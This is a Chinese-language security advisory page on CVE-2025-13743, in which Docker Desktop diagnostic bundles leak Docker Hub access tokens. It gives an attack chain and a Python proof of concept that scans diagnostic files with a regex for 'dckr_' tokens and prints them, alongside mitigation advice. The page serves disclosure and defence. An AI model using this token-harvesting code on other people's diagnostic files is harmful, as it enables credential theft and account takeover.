IPBUF安全漏洞报告
English
CVE-2025-13743 CVSS 7.5 高危

CVE-2025-13743: Docker Desktop诊断包泄露过期Hub PAT令牌信息泄露漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-13743
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Docker Desktop

相关标签

信息泄露敏感数据泄露Docker DesktopDocker Hub个人访问令牌PATCVSS 7.5认证凭据泄露诊断日志CVE-2025-13743

漏洞概述

CVE-2025-13743是Docker Desktop中的一个信息泄露漏洞。该漏洞源于Docker Desktop在生成诊断包时,会将包含过期Docker Hub个人访问令牌(PATs)的错误对象进行序列化并输出到日志中。当用户导出诊断包或诊断日志时,这些敏感的认证凭据可能被泄露给未授权的第三方。攻击者获取这些泄露的PAT后,可能尝试使用这些令牌访问受害者的Docker Hub账户,即使令牌已过期,仍可能存在一定的访问窗口期或在其他上下文中被利用。该漏洞特别危险,因为在用户报告访问拒绝错误时,过期的PAT更可能被包含在诊断数据中。建议受影响的用户立即检查并清理可能泄露的诊断文件,同时更新Docker Desktop到最新版本。

技术细节

Docker Desktop在处理Docker Hub认证错误时,会将错误对象序列化并写入诊断日志。问题在于错误对象中包含了个人访问令牌(PAT)的完整内容,这些令牌在诊断包导出时一并被包含。具体来说,当发生访问拒绝(401/403)错误时,Docker Desktop的错误处理逻辑会捕获包含认证凭据的完整错误响应对象,并将其写入诊断文件。诊断包通常包含以下敏感文件:diagnostic日志文件、配置文件、以及错误堆栈跟踪。由于Docker Desktop的诊断功能设计为帮助用户排查问题,因此生成的诊断包会尽可能详细地记录所有相关上下文,包括认证相关的错误信息。攻击者可以通过以下方式获取诊断包:1) 在用户提交支持工单时获取;2) 通过社交工程诱导用户分享诊断文件;3) 在某些情况下,诊断包可能被存储在公开可访问的位置。

攻击链分析

STEP 1
步骤1
攻击者通过社交工程、钓鱼攻击或获取用户分享的诊断包文件
STEP 2
步骤2
攻击者提取诊断包中的日志文件,搜索包含'dckr_'前缀的Docker Hub PAT令牌
STEP 3
步骤3
使用提取的过期PAT尝试访问受害者的Docker Hub账户或API
STEP 4
步骤4
如果令牌仍在有效期内或存在其他认证上下文,攻击者可获得未授权访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13743 PoC - Docker Desktop Diagnostic PAT Extraction # This PoC demonstrates how to extract leaked PATs from Docker Desktop diagnostics import json import re import os import glob def search_for_pat_in_diagnostics(directory_path): """ Search for Docker Hub Personal Access Tokens in diagnostic files """ # Docker Hub PAT pattern (typically starts with 'dckr_') pat_pattern = r'dckr_[a-zA-Z0-9_-]{20,}' leaked_tokens = [] # Search through all text files in the diagnostic directory for file_path in glob.glob(os.path.join(directory_path, '**/*'), recursive=True): if os.path.isfile(file_path): try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for PAT tokens matches = re.findall(pat_pattern, content) if matches: for token in matches: leaked_tokens.append({ 'token': token, 'source_file': file_path }) except Exception as e: print(f"Error reading {file_path}: {e}") return leaked_tokens def extract_authentication_errors(diagnostic_path): """ Extract authentication-related errors that may contain PATs """ auth_error_pattern = r'(401|403|Unauthorized|Access Denied).*?(dckr_[a-zA-Z0-9_-]+)' errors = [] for file_path in glob.glob(os.path.join(diagnostic_path, '**/*'), recursive=True): if os.path.isfile(file_path): with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() matches = re.findall(auth_error_pattern, content, re.IGNORECASE | re.DOTALL) errors.extend(matches) return errors # Usage example if __name__ == "__main__": diagnostic_path = "./docker-desktop-diagnostics/" print("=== CVE-2025-13743 Docker Desktop PAT Leak Scanner ===") # Search for leaked PATs leaked = search_for_pat_in_diagnostics(diagnostic_path) if leaked: print(f"\n[ALERT] Found {len(leaked)} potentially leaked PAT(s):") for item in leaked: print(f" Token: {item['token']}") print(f" Source: {item['source_file']}") else: print("No leaked PATs found in diagnostics") # Extract auth errors auth_errors = extract_authentication_errors(diagnostic_path) if auth_errors: print(f"\nFound {len(auth_errors)} authentication error(s) containing potential PATs")

影响范围

Docker Desktop < 4.35.0
Docker Desktop < 4.34.3
Docker Desktop < 4.33.2
Docker Desktop < 4.32.1

防御指南

临时缓解措施
临时缓解措施包括:1) 在导出诊断包前,务必检查并手动删除可能包含敏感信息的日志内容;2) 避免将诊断包分享给不可信的第三方;3) 立即轮换所有可能通过诊断包泄露的Docker Hub PAT;4) 启用Docker Hub账户的双因素认证以增加额外保护层;5) 定期检查Docker Hub账户的访问日志,查看是否有异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表